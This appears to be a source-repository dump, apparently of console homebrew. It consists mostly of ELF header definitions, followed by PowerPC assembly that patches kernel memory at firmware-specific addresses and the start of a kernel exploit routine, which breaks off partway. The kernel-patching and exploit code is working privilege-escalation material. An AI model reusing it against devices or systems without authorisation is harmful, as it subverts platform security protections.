/* RESERVED 23-35 for future use */
#define EM_V800 36 /* NEC V800 */
#define EM_FR20 37 /* Fujitsu FR20 */
#define EM_RH32 38 /* TRW RH-32 */
#define EM_RCE 39 /* Motorola RCE */
#define EM_ARM 40 /* Advanced Risc Machines ARM */
#define EM_ALPHA 41 /* Digital Alpha */
#define EM_SH 42 /* Hitachi SH */
#define EM_SPARCV9 43 /* SPARC Version 9 */
#define EM_TRICORE 44 /* Siemens TriCore embedded processor */
#define EM_ARC 45 /* Argonaut RISC Core */
#define EM_H8_300 46 /* Hitachi H8/300 */
#define EM_H8_300H 47 /* Hitachi H8/300H */
#define EM_H8S 48 /* Hitachi H8S */
#define EM_H8_500 49 /* Hitachi H8/500 */
#define EM_IA_64 50 /* Intel Merced */
#define EM_MIPS_X 51 /* Stanford MIPS-X */
#define EM_COLDFIRE 52 /* Motorola Coldfire */
#define EM_68HC12 53 /* Motorola M68HC12 */
#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/
#define EM_PCP 55 /* Siemens PCP */
#define EM_NCPU 56 /* Sony nCPU embeeded RISC */
#define EM_NDR1 57 /* Denso NDR1 microprocessor */
#define EM_STARCORE 58 /* Motorola Start*Core processor */
#define EM_ME16 59 /* Toyota ME16 processor */
#define EM_ST100 60 /* STMicroelectronic ST100 processor */
#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/
#define EM_X86_64 62 /* AMD x86-64 */
#define EM_PDSP 63 /* Sony DSP Processor */
/* RESERVED 64,65 for future use */
#define EM_FX66 66 /* Siemens FX66 microcontroller */
#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */
#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */
#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */
#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */
#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */
#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */
#define EM_SVX 73 /* Silicon Graphics SVx */
#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */
#define EM_VAX 75 /* Digital VAX */
#define EM_CHRIS 76 /* Axis Communications embedded proc. */
#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */
#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */
#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */
#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */
#define EM_HUANY 81 /* Harvard University mach-indep objs */
#define EM_PRISM 82 /* SiTera Prism */
#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */
#define EM_FR30 84 /* Fujitsu FR30 */
#define EM_D10V 85 /* Mitsubishi DV10V */
#define EM_D30V 86 /* Mitsubishi DV30V */
#define EM_V850 87 /* NEC v850 */
#define EM_M32R 88 /* Mitsubishi M32R */
#define EM_MN10300 89 /* Matsushita MN10200 */
#define EM_MN10200 90 /* Matsushita MN10200 */
#define EM_PJ 91 /* picoJava */
#define EM_NUM 92 /* number of machine types */
/* Version */
#define EV_NONE 0 /* Invalid */
#define EV_CURRENT 1 /* Current */
#define EV_NUM 2 /* number of versions */
/* Section Header */
typedef struct {
Elf32_Word sh_name; /* name - index into section header
string table section */
Elf32_Word sh_type; /* type */
Elf32_Word sh_flags; /* flags */
Elf32_Addr sh_addr; /* address */
Elf32_Off sh_offset; /* file offset */
Elf32_Word sh_size; /* section size */
Elf32_Word sh_link; /* section header table index link */
Elf32_Word sh_info; /* extra information */
Elf32_Word sh_addralign; /* address alignment */
Elf32_Word sh_entsize; /* section entry size */
} Elf32_Shdr;
/* Special Section Indexes */
#define SHN_UNDEF 0 /* undefined */
#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */
#define SHN_LOPROC 0xff00 /* reserved range for processor */
#define SHN_HIPROC 0xff1f /* specific section indexes */
#define SHN_LOOS 0xff20 /* reserved range for operating */
#define SHN_HIOS 0xff3f /* specific semantics */
#define SHN_ABS 0xfff1 /* absolute value */
#define SHN_COMMON 0xfff2 /* common symbol */
#define SHN_XINDEX 0xffff /* Index is an extra table */
#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */
/* sh_type */
#define SHT_NULL 0 /* inactive */
#define SHT_PROGBITS 1 /* program defined information */
#define SHT_SYMTAB 2 /* symbol table section */
#define SHT_STRTAB 3 /* string table section */
#define SHT_RELA 4 /* relocation section with addends*/
#define SHT_HASH 5 /* symbol hash table section */
#define SHT_DYNAMIC 6 /* dynamic section */
#define SHT_NOTE 7 /* note section */
#define SHT_NOBITS 8 /* no space section */
#define SHT_REL 9 /* relation section without addends */
#define SHT_SHLIB 10 /* reserved - purpose unknown */
#define SHT_DYNSYM 11 /* dynamic symbol table section */
#define SHT_INIT_ARRAY 14 /* Array of constructors */
#define SHT_FINI_ARRAY 15 /* Array of destructors */
#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */
#define SHT_GROUP 17 /* Section group */
#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */
#define SHT_NUM 19 /* number of section types */
#define SHT_LOOS 0x60000000 /* Start OS-specific */
#define SHT_HIOS 0x6fffffff /* End OS-specific */
#define SHT_LOPROC 0x70000000 /* reserved range for processor */
#define SHT_HIPROC 0x7fffffff /* specific section header types */
#define SHT_LOUSER 0x80000000 /* reserved range for application */
#define SHT_HIUSER 0xffffffff /* specific indexes */
/* Section names */
#define ELF_BSS ".bss" /* uninitialized data */
#define ELF_COMMENT ".comment" /* version control information */
#define ELF_DATA ".data" /* initialized data */
#define ELF_DATA1 ".data1" /* initialized data */
#define ELF_DEBUG ".debug" /* debug */
#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */
#define ELF_DYNSTR ".dynstr" /* dynamic string table */
#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */
#define ELF_FINI ".fini" /* termination code */
#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */
#define ELF_GOT ".got" /* global offset table */
#define ELF_HASH ".hash" /* symbol hash table */
#define ELF_INIT ".init" /* initialization code */
#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */
#define ELF_INTERP ".interp" /* Pathname of program interpreter */
#define ELF_LINE ".line" /* Symbolic line numnber information */
#define ELF_NOTE ".note" /* Contains note section */
#define ELF_PLT ".plt" /* Procedure linkage table */
#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */
#define ELF_REL_DATA ".rel.data" /* relocation data */
#define ELF_REL_FINI ".rel.fini" /* relocation termination code */
#define ELF_REL_INIT ".rel.init" /* relocation initialization code */
#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */
#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */
#define ELF_REL_TEXT ".rel.text" /* relocation code */
#define ELF_RODATA ".rodata" /* read-only data */
#define ELF_RODATA1 ".rodata1" /* read-only data */
#define ELF_SHSTRTAB ".shstrtab" /* section header string table */
#define ELF_STRTAB ".strtab" /* string table */
#define ELF_SYMTAB ".symtab" /* symbol table */
#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */
#define ELF_TBSS ".tbss" /* thread local uninit data */
#define ELF_TDATA ".tdata" /* thread local init data */
#define ELF_TDATA1 ".tdata1" /* thread local init data */
#define ELF_TEXT ".text" /* code */
/* Section Attribute Flags - sh_flags */
#define SHF_WRITE 0x1 /* Writable */
#define SHF_ALLOC 0x2 /* occupies memory */
#define SHF_EXECINSTR 0x4 /* executable */
#define SHF_MERGE 0x10 /* Might be merged */
#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */
#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */
#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/
#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */
#define SHF_GROUP 0x200 /* Member of section group */
#define SHF_TLS 0x400 /* Thread local storage */
#define SHF_MASKOS 0x0ff00000 /* OS specific */
#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */
/* specific section attributes */
/* Section Group Flags */
#define GRP_COMDAT 0x1 /* COMDAT group */
#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */
#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */
/* Symbol Table Entry */
typedef struct elf32_sym {
Elf32_Word st_name; /* name - index into string table */
Elf32_Addr st_value; /* symbol value */
Elf32_Word st_size; /* symbol size */
unsigned char st_info; /* type and binding */
unsigned char st_other; /* 0 - no defined meaning */
Elf32_Half st_shndx; /* section header index */
} Elf32_Sym;
/* Symbol table index */
#define STN_UNDEF 0 /* undefined */
/* Extract symbol info - st_info */
#define ELF32_ST_BIND(x) ((x) >> 4)
#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf)
#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf))
#define ELF32_ST_VISIBILITY(x) ((x) & 0x3)
/* Symbol Binding - ELF32_ST_BIND - st_info */
#define STB_LOCAL 0 /* Local symbol */
#define STB_GLOBAL 1 /* Global symbol */
#define STB_WEAK 2 /* like global - lower precedence */
#define STB_NUM 3 /* number of symbol bindings */
#define STB_LOOS 10 /* reserved range for operating */
#define STB_HIOS 12 /* system specific symbol bindings */
#define STB_LOPROC 13 /* reserved range for processor */
#define STB_HIPROC 15 /* specific symbol bindings */
/* Symbol type - ELF32_ST_TYPE - st_info */
#define STT_NOTYPE 0 /* not specified */
#define STT_OBJECT 1 /* data object */
#define STT_FUNC 2 /* function */
#define STT_SECTION 3 /* section */
#define STT_FILE 4 /* file */
#define STT_NUM 5 /* number of symbol types */
#define STT_TLS 6 /* Thread local storage symbol */
#define STT_LOOS 10 /* reserved range for operating */
#define STT_HIOS 12 /* system specific symbol types */
#define STT_LOPROC 13 /* reserved range for processor */
#define STT_HIPROC 15 /* specific symbol types */
/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */
#define STV_DEFAULT 0 /* Normal visibility rules */
#define STV_INTERNAL 1 /* Processor specific hidden class */
#define STV_HIDDEN 2 /* Symbol unavailable in other mods */
#define STV_PROTECTED 3 /* Not preemptible, not exported */
/* Relocation entry with implicit addend */
typedef struct
{
Elf32_Addr r_offset; /* offset of relocation */
Elf32_Word r_info; /* symbol table index and type */
} Elf32_Rel;
/* Relocation entry with explicit addend */
typedef struct
{
Elf32_Addr r_offset; /* offset of relocation */
Elf32_Word r_info; /* symbol table index and type */
Elf32_Sword r_addend;
} Elf32_Rela;
/* Extract relocation info - r_info */
#define ELF32_R_SYM(i) ((i) >> 8)
#define ELF32_R_TYPE(i) ((unsigned char) (i))
#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t))
/* Program Header */
typedef struct {
Elf32_Word p_type; /* segment type */
Elf32_Off p_offset; /* segment offset */
Elf32_Addr p_vaddr; /* virtual address of segment */
Elf32_Addr p_paddr; /* physical address - ignored? */
Elf32_Word p_filesz; /* number of bytes in file for seg. */
Elf32_Word p_memsz; /* number of bytes in mem. for seg. */
Elf32_Word p_flags; /* flags */
Elf32_Word p_align; /* memory alignment */
} Elf32_Phdr;
/* Segment types - p_type */
#define PT_NULL 0 /* unused */
#define PT_LOAD 1 /* loadable segment */
#define PT_DYNAMIC 2 /* dynamic linking section */
#define PT_INTERP 3 /* the RTLD */
#define PT_NOTE 4 /* auxiliary information */
#define PT_SHLIB 5 /* reserved - purpose undefined */
#define PT_PHDR 6 /* program header */
#define PT_TLS 7 /* Thread local storage template */
#define PT_NUM 8 /* Number of segment types */
#define PT_LOOS 0x60000000 /* reserved range for operating */
#define PT_HIOS 0x6fffffff /* system specific segment types */
#define PT_LOPROC 0x70000000 /* reserved range for processor */
#define PT_HIPROC 0x7fffffff /* specific segment types */
/* Segment flags - p_flags */
#define PF_X 0x1 /* Executable */
#define PF_W 0x2 /* Writable */
#define PF_R 0x4 /* Readable */
#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */
#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */
/* specific segment flags */
/* Dynamic structure */
typedef struct
{
Elf32_Sword d_tag; /* controls meaning of d_val */
union
{
Elf32_Word d_val; /* Multiple meanings - see d_tag */
Elf32_Addr d_ptr; /* program virtual address */
} d_un;
} Elf32_Dyn;
extern Elf32_Dyn _DYNAMIC[];
/* Dynamic Array Tags - d_tag */
#define DT_NULL 0 /* marks end of _DYNAMIC array */
#define DT_NEEDED 1 /* string table offset of needed lib */
#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */
#define DT_PLTGOT 3 /* address PLT/GOT */
#define DT_HASH 4 /* address of symbol hash table */
#define DT_STRTAB 5 /* address of string table */
#define DT_SYMTAB 6 /* address of symbol table */
#define DT_RELA 7 /* address of relocation table */
#define DT_RELASZ 8 /* size of relocation table */
#define DT_RELAENT 9 /* size of relocation entry */
#define DT_STRSZ 10 /* size of string table */
#define DT_SYMENT 11 /* size of symbol table entry */
#define DT_INIT 12 /* address of initialization func. */
#define DT_FINI 13 /* address of termination function */
#define DT_SONAME 14 /* string table offset of shared obj */
#define DT_RPATH 15 /* string table offset of library
search path */
#define DT_SYMBOLIC 16 /* start sym search in shared obj. */
#define DT_REL 17 /* address of rel. tbl. w addends */
#define DT_RELSZ 18 /* size of DT_REL relocation table */
#define DT_RELENT 19 /* size of DT_REL relocation entry */
#define DT_PLTREL 20 /* PLT referenced relocation entry */
#define DT_DEBUG 21 /* bugger */
#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */
#define DT_JMPREL 23 /* add. of PLT's relocation entries */
#define DT_BIND_NOW 24 /* Process relocations of object */
#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
#define DT_RUNPATH 29 /* Library search path */
#define DT_FLAGS 30 /* Flags for the object being loaded */
#define DT_ENCODING 32 /* Start of encoded range */
#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/
#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */
#define DT_NUM 34 /* Number used. */
#define DT_LOOS 0x60000000 /* reserved range for OS */
#define DT_HIOS 0x6fffffff /* specific dynamic array tags */
#define DT_LOPROC 0x70000000 /* reserved range for processor */
#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */
/* Dynamic Tag Flags - d_un.d_val */
#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */
#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */
#define DF_TEXTREL 0x04 /* Object contains text relocations */
#define DF_BIND_NOW 0x08 /* No lazy binding for this object */
#define DF_STATIC_TLS 0x10 /* Static thread local storage */
/* Standard ELF hashing function */
unsigned long elf_hash(const unsigned char *name);
#define ELF_TARG_VER 1 /* The ver for which this code is intended */
/*
* XXX - PowerPC defines really don't belong in here,
* but we'll put them in for simplicity.
*/
/* Values for Elf32/64_Ehdr.e_flags. */
#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */
/* Cygnus local bits below */
#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/
#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib
flag */
/* PowerPC relocations defined by the ABIs */
#define R_PPC_NONE 0
#define R_PPC_ADDR32 1 /* 32bit absolute address */
#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */
#define R_PPC_ADDR16 3 /* 16bit absolute address */
#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */
#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */
#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */
#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */
#define R_PPC_ADDR14_BRTAKEN 8
#define R_PPC_ADDR14_BRNTAKEN 9
#define R_PPC_REL24 10 /* PC relative 26 bit */
#define R_PPC_REL14 11 /* PC relative 16 bit */
#define R_PPC_REL14_BRTAKEN 12
#define R_PPC_REL14_BRNTAKEN 13
#define R_PPC_GOT16 14
#define R_PPC_GOT16_LO 15
#define R_PPC_GOT16_HI 16
#define R_PPC_GOT16_HA 17
#define R_PPC_PLTREL24 18
#define R_PPC_COPY 19
#define R_PPC_GLOB_DAT 20
#define R_PPC_JMP_SLOT 21
#define R_PPC_RELATIVE 22
#define R_PPC_LOCAL24PC 23
#define R_PPC_UADDR32 24
#define R_PPC_UADDR16 25
#define R_PPC_REL32 26
#define R_PPC_PLT32 27
#define R_PPC_PLTREL32 28
#define R_PPC_PLT16_LO 29
#define R_PPC_PLT16_HI 30
#define R_PPC_PLT16_HA 31
#define R_PPC_SDAREL16 32
#define R_PPC_SECTOFF 33
#define R_PPC_SECTOFF_LO 34
#define R_PPC_SECTOFF_HI 35
#define R_PPC_SECTOFF_HA 36
/* Keep this the last entry. */
#define R_PPC_NUM 37
/* The remaining relocs are from the Embedded ELF ABI, and are not
in the SVR4 ELF ABI. */
#define R_PPC_EMB_NADDR32 101
#define R_PPC_EMB_NADDR16 102
#define R_PPC_EMB_NADDR16_LO 103
#define R_PPC_EMB_NADDR16_HI 104
#define R_PPC_EMB_NADDR16_HA 105
#define R_PPC_EMB_SDAI16 106
#define R_PPC_EMB_SDA2I16 107
#define R_PPC_EMB_SDA2REL 108
#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */
#define R_PPC_EMB_MRKREF 110
#define R_PPC_EMB_RELSEC16 111
#define R_PPC_EMB_RELST_LO 112
#define R_PPC_EMB_RELST_HI 113
#define R_PPC_EMB_RELST_HA 114
#define R_PPC_EMB_BIT_FLD 115
#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */
/* Diab tool relocations. */
#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */
#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */
#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */
#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */
#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */
#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */
/* This is a phony reloc to handle any old fashioned TOC16 references
that may still be in object files. */
#define R_PPC_TOC16 255
#endif /* _ELF_H */
================================================
FILE: installer/kernel_patches.S
================================================
#if (VER == 550)
#define BAT_SETUP_HOOK_ADDR 0xFFF1D624
# not all of those NOP address are required for every firmware
# mainly these should stop the kernel from removing our IBAT4 and DBAT5
#define BAT_SET_NOP_ADDR_1 0xFFF06B6C
#define BAT_SET_NOP_ADDR_2 0xFFF06BF8
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF1D70C
#define BAT_SET_NOP_ADDR_6 0xFFF1D728
#define BAT_SET_NOP_ADDR_7 0xFFF1D82C
#define BAT_SET_NOP_ADDR_8 0xFFEE11C4
#define BAT_SET_NOP_ADDR_9 0xFFEE11C8
#elif ((VER == 532) || (VER == 540))
#define BAT_SETUP_HOOK_ADDR 0xFFF1D638
# not all of those NOP address are required for every firmware
# mainly these should stop the kernel from removing our IBAT4 and DBAT5
#define BAT_SET_NOP_ADDR_1 0xFFF06A14
#define BAT_SET_NOP_ADDR_2 0xFFF06AA0
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF1D720
#define BAT_SET_NOP_ADDR_6 0xFFF1D73C
#define BAT_SET_NOP_ADDR_7 0xFFF1D840
#define BAT_SET_NOP_ADDR_8 0xFFEE10B8
#define BAT_SET_NOP_ADDR_9 0xFFEE10BC
#elif ((VER == 500) || (VER == 510))
#define BAT_SETUP_HOOK_ADDR 0xFFF1D518
#define BAT_SET_NOP_ADDR_1 0xFFF0697C
#define BAT_SET_NOP_ADDR_2 0xFFF06A08
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF1D600
#define BAT_SET_NOP_ADDR_6 0xFFF1D61C
#define BAT_SET_NOP_ADDR_7 0xFFF1D720
#define BAT_SET_NOP_ADDR_8 0xFFEE10B8
#define BAT_SET_NOP_ADDR_9 0xFFEE10BC
#elif VER == 410
#define BAT_SETUP_HOOK_ADDR 0xFFF1AD00
#define BAT_SET_NOP_ADDR_1 0xFFF06708
#define BAT_SET_NOP_ADDR_2 0xFFF06794
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF1ADE8
#define BAT_SET_NOP_ADDR_6 0xFFF1AE04
#define BAT_SET_NOP_ADDR_7 0xFFF1AF08
#define BAT_SET_NOP_ADDR_8 0xFFEE10B8
#define BAT_SET_NOP_ADDR_9 0xFFEE10BC
#elif VER == 400
#define BAT_SETUP_HOOK_ADDR 0xFFF1A440
#define BAT_SET_NOP_ADDR_1 0xFFF066FC
#define BAT_SET_NOP_ADDR_2 0xFFF06788
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF1A528
#define BAT_SET_NOP_ADDR_6 0xFFF1A544
//define BAT_SET_NOP_ADDR_7 not present in 400
#define BAT_SET_NOP_ADDR_8 0xFFEE0F50
#define BAT_SET_NOP_ADDR_9 0xFFEE0F54
#elif (VER == 310)
#define BAT_SETUP_HOOK_ADDR 0xFFF19EC4
#define BAT_SET_NOP_ADDR_1 0xFFF06590
#define BAT_SET_NOP_ADDR_2 0xFFF0661C
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF19FAC
#define BAT_SET_NOP_ADDR_6 0xFFF19FC8
// #define BAT_SET_NOP_ADDR_7 not present in 3.1.0
#define BAT_SET_NOP_ADDR_8 0xFFEE0FB0
#define BAT_SET_NOP_ADDR_9 0xFFEE0FB4
#elif (VER == 300)
#define BAT_SETUP_HOOK_ADDR 0xFFF19E2C
#define BAT_SET_NOP_ADDR_1 0xFFF06590
#define BAT_SET_NOP_ADDR_2 0xFFF0661C
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF19F14
#define BAT_SET_NOP_ADDR_6 0xFFF19F30
// #define BAT_SET_NOP_ADDR_7 not present in 3.0.x
#define BAT_SET_NOP_ADDR_8 0xFFEE0DB8
#define BAT_SET_NOP_ADDR_9 0xFFEE0DBC
#else
#error Please define valid values for kernel setup.
#endif
#ifdef USE_SD_LOADER
#define BAT_SETUP_HOOK_ENTRY 0x00800000
#else
#define BAT_SETUP_HOOK_ENTRY (0x00800000 + 0x2000)
#endif
#define BAT4U_VAL 0x008000FF
#if VER >= 410
#define BAT4L_VAL 0x30800012
#elif VER <= 400
#define BAT4L_VAL 0x4E800012
#else
#error Please define valid value for firmware setup.
#endif
#define SET_R4_TO_ADDR(addr) \
lis r3, addr@h ; \
ori r3, r3, addr@l ; \
stw r4, 0(r3) ; \
dcbf 0, r3 ; \
icbi 0, r3 ;
.globl SC_0x25_KernelCopyData
SC_0x25_KernelCopyData:
li r0, 0x2500
sc
blr
.globl Syscall_0x36
Syscall_0x36:
li r0, 0x3600
sc
blr
.globl KernelPatches
KernelPatches:
# store the old DBAT0
mfdbatu r5, 0
mfdbatl r6, 0
# memory barrier
eieio
isync
# setup DBAT0 for access to kernel code memory
lis r3, 0xFFF0
ori r3, r3, 0x0002
mtdbatu 0, r3
lis r3, 0xFFF0
ori r3, r3, 0x0032
mtdbatl 0, r3
# memory barrier
eieio
isync
# SaveAndResetDataBATs_And_SRs hook setup, but could be any BAT function though
# just chosen because its simple
lis r3, BAT_SETUP_HOOK_ADDR@h
ori r3, r3, BAT_SETUP_HOOK_ADDR@l
# make the kernel setup our section in IBAT4 and
# jump to our function to restore the replaced instructions
lis r4, 0x3ce0 # lis r7, BAT4L_VAL@h
ori r4, r4, BAT4L_VAL@h
stw r4, 0x00(r3)
lis r4, 0x60e7 # ori r7, r7, BAT4L_VAL@l
ori r4, r4, BAT4L_VAL@l
stw r4, 0x04(r3)
lis r4, 0x7cf1 # mtspr 561, r7
ori r4, r4, 0x8ba6
stw r4, 0x08(r3)
lis r4, 0x3ce0 # lis r7, BAT4U_VAL@h
ori r4, r4, BAT4U_VAL@h
stw r4, 0x0C(r3)
lis r4, 0x60e7 # ori r7, r7, BAT4U_VAL@l
ori r4, r4, BAT4U_VAL@l
stw r4, 0x10(r3)
lis r4, 0x7cf0 # mtspr 560, r7
ori r4, r4, 0x8ba6
stw r4, 0x14(r3)
lis r4, 0x7c00 # eieio
ori r4, r4, 0x06ac
stw r4, 0x18(r3)
lis r4, 0x4c00 # isync
ori r4, r4, 0x012c
stw r4, 0x1C(r3)
lis r4, 0x7ce8 # mflr r7
ori r4, r4, 0x02a6
stw r4, 0x20(r3)
lis r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@h # bla BAT_SETUP_HOOK_ENTRY
ori r4, r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@l
stw r4, 0x24(r3)
# flush and invalidate the replaced instructions
lis r3, (BAT_SETUP_HOOK_ADDR & ~31)@h
ori r3, r3, (BAT_SETUP_HOOK_ADDR & ~31)@l
dcbf 0, r3
icbi 0, r3
lis r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@h
ori r3, r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@l
dcbf 0, r3
icbi 0, r3
sync
# setup IBAT4 for core 1 at this position (not really required but wont hurt)
# IBATL 4
lis r3, BAT4L_VAL@h
ori r3, r3, BAT4L_VAL@l
mtspr 561, r3
# IBATU 4
lis r3, BAT4U_VAL@h
ori r3, r3, BAT4U_VAL@l
mtspr 560, r3
# memory barrier
eieio
isync
# write "nop" to some positions
lis r4, 0x6000
# nop on IBATU 4 and DBAT 5 set/reset
#ifdef BAT_SET_NOP_ADDR_1
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_1)
#endif
#ifdef BAT_SET_NOP_ADDR_2
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_2)
#endif
#ifdef BAT_SET_NOP_ADDR_3
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_3)
#endif
#ifdef BAT_SET_NOP_ADDR_4
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_4)
#endif
#ifdef BAT_SET_NOP_ADDR_5
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_5)
#endif
#ifdef BAT_SET_NOP_ADDR_6
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_6)
#endif
#ifdef BAT_SET_NOP_ADDR_7
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_7)
#endif
#if (defined(BAT_SET_NOP_ADDR_8) && defined(BAT_SET_NOP_ADDR_9))
# memory barrier
eieio
isync
# setup DBAT0 for access to kernel code memory
lis r3, 0xFFEE
ori r3, r3, 0x0002
mtdbatu 0, r3
lis r3, 0xFFEE
ori r3, r3, 0x0032
mtdbatl 0, r3
# memory barrier
eieio
isync
# write "nop" to some positions
lis r4, 0x6000
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_8)
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_9)
#endif
# memory barrier
eieio
isync
# restore DBAT 0 and return from interrupt
mtdbatu 0, r5
mtdbatl 0, r6
# memory barrier
eieio
isync
blr
================================================
FILE: installer/kexploit.c
================================================
#include "kexploit.h"
void wait(unsigned int coreinit_handle, unsigned int t);
void doBrowserShutdown(unsigned int coreinit_handle);
void setupOSScreen(unsigned int coreinit_handle);
void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos);
void exitOSScreen(unsigned int coreinit_handle);
void callSysExit(unsigned int coreinit_handle, void *sysFunc);
#if (VER >= 532)
/* Initial setup code stolen from Pong, makes race much more reliable */
void run_kexploit(private_data_t *private_data)
{
/* Get a handle to coreinit.rpl and gx2.rpl */
unsigned int coreinit_handle = private_data->coreinit_handle;
unsigned int gx2_handle = 0;
OSDynLoad_Acquire("gx2.rpl", &gx2_handle);
//needed to not destroy screen
doBrowserShutdown(coreinit_handle);
/* Exit functions */
void (*__PPCExit)();
void (*_Exit)();
OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit);
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
/* Memory functions */
void (*DCFlushRange)(void *buffer, uint32_t length);
void (*DCInvalidateRange)(void *buffer, uint32_t length);
void (*DCTouchRange)(void *buffer, uint32_t length);
uint32_t (*OSEffectiveToPhysical)(void *vaddr);
void* (*OSAllocFromSystem)(uint32_t size, int align);
void (*OSFreeToSystem)(void *ptr);
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange);
OSDynLoad_FindExport(coreinit_handle, 0, "DCTouchRange", &DCTouchRange);
OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical);
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
